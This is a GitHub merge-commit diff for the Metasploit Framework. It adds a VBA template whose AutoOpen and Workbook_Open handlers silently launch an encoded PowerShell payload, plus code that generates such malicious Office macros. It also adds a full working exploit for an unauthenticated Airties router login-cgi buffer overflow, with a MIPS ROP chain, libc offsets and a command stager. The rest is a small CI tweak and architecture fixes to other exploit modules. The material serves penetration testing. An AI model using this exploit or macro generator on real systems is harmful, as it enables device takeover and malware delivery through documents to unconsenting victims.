Skip to content

Commit f6a8982

Browse files
shuckins-r7shuckins-r7
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework
 Please enter a commit message to explain why this merge is necessary,
2 parents 94023fd + fc61f1a commit f6a8982

File tree

8 files changed

+293
-60
lines changed

8 files changed

+293
-60
lines changed

‎.travis.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ before_script:
2222
- bundle exec rake db:migrate
2323
script:
2424
# fail build if db/schema.rb update is not committed
25-
- git diff --exit-code && bundle exec rake $RAKE_TASKS
25+
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
2626
sudo: false
2727
rvm:
2828
- '2.1.6'

‎data/templates/scripts/to_powershell.vba.template

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
Sub %{sub_auto_open}()
2+
Dim %{var_powershell}
3+
%{var_powershell} = %{powershell}
4+
Call Shell(%{var_powershell}, vbHide)
5+
End Sub
6+
Sub AutoOpen()
7+
%{sub_auto_open}
8+
End Sub
9+
Sub Workbook_Open()
10+
%{sub_auto_open}
11+
End Sub
12+

‎lib/msf/util/exe.rb

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1003,6 +1003,33 @@ def self.to_vba(framework,code,opts = {})
10031003
read_replace_script_template("to_mem.vba.template", hash_sub)
10041004
end
10051005

1006+
def self.to_powershell_vba(framework, arch, code)
1007+
template_path = File.join(Msf::Config.data_directory,
1008+
"templates",
1009+
"scripts")
1010+
1011+
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
1012+
arch,
1013+
template_path,
1014+
encode_final_payload: true,
1015+
remove_comspec: true,
1016+
method: 'reflection')
1017+
1018+
# Intialize rig and value names
1019+
rig = Rex::RandomIdentifierGenerator.new()
1020+
rig.init_var(:sub_auto_open)
1021+
rig.init_var(:var_powershell)
1022+
1023+
hash_sub = rig.to_h
1024+
# VBA has a maximum of 24 line continuations
1025+
line_length = powershell.length / 24
1026+
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
1027+
1028+
hash_sub[:powershell] = vba_psh
1029+
1030+
read_replace_script_template("to_powershell.vba.template", hash_sub)
1031+
end
1032+
10061033
def self.to_exe_vbs(exes = '', opts = {})
10071034
delay = opts[:delay] || 5
10081035
persist = opts[:persist] || false
@@ -1933,6 +1960,8 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
19331960
when 'vba-exe'
19341961
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
19351962
Msf::Util::EXE.to_exe_vba(exe)
1963+
when 'vba-psh'
1964+
Msf::Util::EXE.to_powershell_vba(framework, arch, code)
19361965
when 'vbs'
19371966
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
19381967
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
@@ -1982,6 +2011,7 @@ def self.to_executable_fmt_formats
19822011
"psh-cmd",
19832012
"vba",
19842013
"vba-exe",
2014+
"vba-psh",
19852015
"vbs",
19862016
"war"
19872017
]

‎modules/exploits/linux/http/airties_login_cgi_bof.rb

Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Airties login-cgi Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a remote buffer overflow vulnerability on several Airties routers.
19+
The vulnerability exists in the handling of HTTP queries to the login cgi with long
20+
redirect parameters. The vulnerability doesn't require authentication. This module has
21+
been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
22+
Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,
23+
Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
24+
},
25+
'Author' =>
26+
[
27+
'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
28+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'Platform' => ['linux'],
32+
'Arch' => ARCH_MIPSBE,
33+
'References' =>
34+
[
35+
['EDB', '36577'],
36+
['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory
37+
['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC
38+
],
39+
'Targets' =>
40+
[
41+
[ 'AirTies_Air5650v3TT_FW_1.0.2.0',
42+
{
43+
'Offset' => 359,
44+
'LibcBase' => 0x2aad1000,
45+
'RestoreReg' => 0x0003FE20, # restore s-registers
46+
'System' => 0x0003edff, # address of system-1
47+
'CalcSystem' => 0x000111EC, # calculate the correct address of system
48+
'CallSystem' => 0x00041C10, # call our system
49+
'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call
50+
}
51+
]
52+
],
53+
'DisclosureDate' => 'Mar 31 2015',
54+
'DefaultTarget' => 0))
55+
56+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
57+
end
58+
59+
def check
60+
begin
61+
res = send_request_cgi({
62+
'uri' => '/cgi-bin/login',
63+
'method' => 'GET'
64+
})
65+
66+
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
67+
return Exploit::CheckCode::Detected
68+
end
69+
rescue ::Rex::ConnectionError
70+
return Exploit::CheckCode::Unknown
71+
end
72+
73+
Exploit::CheckCode::Unknown
74+
end
75+
76+
def exploit
77+
print_status("#{peer} - Accessing the vulnerable URL...")
78+
79+
unless check == Exploit::CheckCode::Detected
80+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
81+
end
82+
83+
print_status("#{peer} - Exploiting...")
84+
execute_cmdstager(
85+
:flavor => :echo,
86+
:linemax => 100
87+
)
88+
end
89+
90+
def prepare_shellcode(cmd)
91+
shellcode = rand_text_alpha_upper(target['Offset']) # padding
92+
shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values
93+
94+
# 0003FE20 lw $ra, 0x48+var_4($sp)
95+
# 0003FE24 lw $s7, 0x48+var_8($sp)
96+
# 0003FE28 lw $s6, 0x48+var_C($sp)
97+
# 0003FE2C lw $s5, 0x48+var_10($sp)
98+
# 0003FE30 lw $s4, 0x48+var_14($sp)
99+
# 0003FE34 lw $s3, 0x48+var_18($sp)
100+
# 0003FE38 lw $s2, 0x48+var_1C($sp)
101+
# 0003FE3C lw $s1, 0x48+var_20($sp)
102+
# 0003FE40 lw $s0, 0x48+var_24($sp)
103+
# 0003FE44 jr $ra
104+
# 0003FE48 addiu $sp, 0x48
105+
106+
shellcode << rand_text_alpha_upper(36) # padding
107+
shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1
108+
shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4
109+
shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system
110+
111+
# 00041C10 move $t9, $s0
112+
# 00041C14 jalr $t9
113+
# 00041C18 nop
114+
115+
shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7
116+
shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parameter for call to system
117+
118+
# 000215B8 addiu $a0, $sp, 0x20
119+
# 000215BC lw $ra, 0x1C($sp)
120+
# 000215C0 jr $ra
121+
# 000215C4 addiu $sp, 0x20
122+
123+
shellcode << rand_text_alpha_upper(28) # padding
124+
shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address)
125+
126+
# 000111EC move $t9, $s5
127+
# 000111F0 jalr $t9
128+
# 000111F4 addiu $s0, 1
129+
130+
shellcode << cmd
131+
end
132+
133+
def execute_command(cmd, opts)
134+
shellcode = prepare_shellcode(cmd)
135+
begin
136+
res = send_request_cgi({
137+
'method' => 'POST',
138+
'uri' => '/cgi-bin/login',
139+
'encode_params' => false,
140+
'vars_post' => {
141+
'redirect' => shellcode,
142+
'user' => rand_text_alpha(5),
143+
'password' => rand_text_alpha(8)
144+
}
145+
})
146+
return res
147+
rescue ::Rex::ConnectionError
148+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
149+
end
150+
end
151+
end

‎modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ def initialize(info = {})
4949
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
5050
{
5151
'Platform' => 'linux',
52-
'Arch' => ARCH_MIPS
52+
'Arch' => ARCH_MIPSBE
5353
}
5454
],
5555
],

‎modules/exploits/linux/http/fritzbox_echo_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,7 @@ def initialize(info = {})
5555
[ 'MIPS Big Endian',
5656
{
5757
'Platform' => 'linux',
58-
'Arch' => ARCH_MIPS
58+
'Arch' => ARCH_MIPSBE
5959
}
6060
],
6161
],

‎modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ def initialize(info = {})
4343
[ 'MIPS Big Endian', # unknown if there are big endian devices out there
4444
{
4545
'Platform' => 'linux',
46-
'Arch' => ARCH_MIPS
46+
'Arch' => ARCH_MIPSBE
4747
}
4848
]
4949
],

0 commit comments

Comments
 (0)